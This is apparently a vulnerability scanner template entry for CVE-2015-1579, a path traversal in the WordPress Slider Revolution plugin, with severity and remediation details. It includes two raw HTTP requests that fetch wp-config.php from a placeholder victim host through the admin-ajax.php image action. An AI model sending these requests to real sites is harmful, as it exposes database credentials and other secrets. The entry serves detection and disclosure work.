| Title | WordPress Slider Revolution - Local File Disclosure |
|---|---|
| Author | pussycat0x |
| Severity | Medium |
| Impact | An attacker can read arbitrary files on the server, potentially exposing sensitive information. |
| Remediation | Update the WordPress Slider Revolution plugin to the latest version to fix the vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.80822 |
| CVE ID | CVE-2015-1579 |
| CWE ID | CWE-22 |
| Tags | cve2015 cve wordpress wp-plugin lfi revslider wp wpscan elegant_themes vkev vuln |
Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php. NOTE: this vulnerability may be a duplicate of CVE-2014-9734.
GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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